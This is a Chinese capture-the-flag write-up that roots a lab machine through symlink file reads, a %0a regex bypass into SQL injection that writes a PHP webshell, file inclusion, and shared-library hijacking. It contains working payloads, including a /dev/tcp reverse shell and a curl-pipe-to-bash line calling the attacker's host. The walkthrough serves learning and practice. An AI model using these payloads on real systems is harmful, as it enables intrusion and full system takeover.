用nmap扫一下端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.229
发现有两个端口,22端口是ssh服务,80端口有http服务
访问80端口,扫一下目录发现有文件上传功能
要求是上传zip文件,那我们试试zip软链接读取文件
上传成功后,curl一下发现成功读取
得到信息用户应该为rektsu,那么再读取/home/rektsu/user.txt
得到user的flag
当然我们可以读取源码,这里已经知道是必须有.pdf的拓展文件名
我们用截断攻击绕过检测
创建shell.phpA.pdf
,写入反弹shell命令
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.44/1028 0>&1'");?>
然后压缩成zip文件,用hexeditor修改为00
上传,然后访问去掉.pdf
的链接发现不行
(原来官方修复了这个漏洞)
那么只能换个思路,我们对/shop
重新扫描发现存在cart.php等
我们尝试用软链接读取index源码
上传后访问,curl一下得到源码
存在文件包含漏洞,参数page与.php进行拼接后查询。我们试试看upload的
http://10.10.11.229/shop/index.php?page=/var/www/html/upload
我们再读取下cart.php,并且重点看下面这部分
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
可以发现查询语句是与参数product_id进行拼接的
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
虽然对其有正则匹配,匹配包含除数字以外的字符或特殊字符如果要进入到sql查询就要使其为假
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match)
我们注意到结尾的$
符号,我们可以用%0a
换行符绕过,然后再结尾添加数字使得或运算为假,也就是说该参数可控造成漏洞
我们随便买一件商品,去到购物车的页面,bp抓包
payload如下(写入到默认数据库存储文件位置)
%0a';select+'<?php eval($_POST[1]);?>'+into+outfile+'/var/lib/mysql/test.php';#1
然后再文件包含(注意没有php后缀)
试试反弹shell不知道为什么弹不成功
那就用curl命令去弹,在本地创建sh文件,开启http服务
python3 -m http.server 80
然后反弹shell成功
1=system('curl 10.10.14.44/shell.sh |bash');
我们查看下可以用的命令
strings查看一下
得到用户密码St0ckM4nager
我们用strace跟踪和记录进程的系统调用和信号
strace /usr/bin/stock
然后在read(0,
后面输入密码
会发现调用/home/rektsu/.config/libcounter.so
的文件,但是我们在该目录下并未找到此文件,那么我们可以利用动态链接库劫持,实现提权
首先可以自动执行的到shell的exp.c文件
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
system("/usr/bin/bash -i");
}
然后开启http服务,在连接的靶机上用wget下载exp.c文件
wget http://10.10.14.44/exp.c
然后就是把它编译成前文提到调用的.so文件名
gcc -shared -fPIC exp.c -o libcounter.so
最后我们运行该命令,输入密码得到root权限
得到flag
这个靶机打了两天,原因就在于文件上传的漏洞被修复了不能用截断攻击绕过(早点知道就好了hhh),然后至于密码为什么是那个St0ckM4nager
只能说靠意识了,我们通过strace可以知道调用.so文件并且该文件不存在(也可以直接sudo运行该命令发现无限循环),所以我们自己写一个可以getshell的.so文件,调用即可拿到root权限